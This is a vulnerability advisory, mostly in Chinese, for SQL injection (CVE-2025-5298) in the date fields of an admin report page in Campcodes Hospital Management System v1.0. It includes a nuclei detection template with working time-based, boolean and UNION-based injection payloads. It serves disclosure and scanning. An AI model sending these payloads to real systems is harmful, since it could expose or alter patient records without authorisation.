Campcodes Hospital Management System v10 SQL Injection Vulnerability

漏洞信息

漏洞名称： Campcodes Hospital Management System v1.0 SQL Injection Vulnerability

漏洞编号：

• CVE： CVE-2025-5298

漏洞类型： SQL注入

漏洞等级： 严重

漏洞描述： Campcodes Hospital Management System v1.0是一款基于PHP和MySQL的在线医院管理系统，广泛应用于医疗机构中，用于管理患者信息、预约、报告等。该系统在/admin/betweendates-detailsreports.php页面中的fromdate和todate字段存在SQL注入漏洞。攻击者可以通过构造恶意的SQL语句，利用时间盲注、布尔盲注或联合查询技术，对数据库进行非法操作。这种漏洞的根源在于系统未能对用户输入进行充分的验证和过滤，导致攻击者可以执行任意的SQL命令。此漏洞的利用可能导致数据库信息泄露、数据篡改或删除，甚至可能导致整个系统的安全受到威胁。由于该漏洞不需要任何形式的认证即可被利用，因此其安全风险极高，攻击者可以远程利用此漏洞进行攻击。

产品厂商： Campcodes

产品名称： Campcodes Hospital Management System

影响版本： v1.0

来源： https://github.com/projectdiscovery/nuclei-templates/blob/04727834387b7bd10993d4376f49cfc1455235c8/http%2Fcves%2F2025%2FCVE-2025-5298.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: campcodes-hms-sqli

info:
  name: Campcodes Hospital Management System v1.0 - SQL Injection
  author: vijay-sutar
  severity: critical
  description: |
    Campcodes Hospital Management System v1.0 is vulnerable to SQL Injection via the `fromdate` and `todate` fields in `/admin/betweendates-detailsreports.php`.
    - Time-based (fromdate)
    - Boolean-based and UNION-based (todate)
  reference:
    - https://www.campcodes.com/projects/online-hospital-management-system-using-php-and-mysql/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5298
  classification:
    cve-id: CVE-2025-5298
    cwe-id: CWE-89
  tags: campcodes,sqli,hospital,cve2025

http:
  - method: POST
    path:
      - "{{BaseURL}}/admin/betweendates-detailsreports.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: fromdate=2019-01-01' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- &todate=2025-05-28&submit=

    matchers:
      - type: dsl
        name: time-based
        dsl:
          - duration>=5
          - status==200

  - method: POST
    path:
      - "{{BaseURL}}/admin/betweendates-detailsreports.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: fromdate=2019-01-01&todate=2025-05-28' AND 1=1-- &submit=

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Report"  # Adjust to match a known string from a valid response
      - type: status
        status:
          - 200

  - method: POST
    path:
      - "{{BaseURL}}/admin/betweendates-detailsreports.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: fromdate=2019-01-01&todate=2025-05-28' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,version()-- -&submit=

    matchers:
      - type: word
        words:
          - "MySQL"  # Or adjust based on DB banner output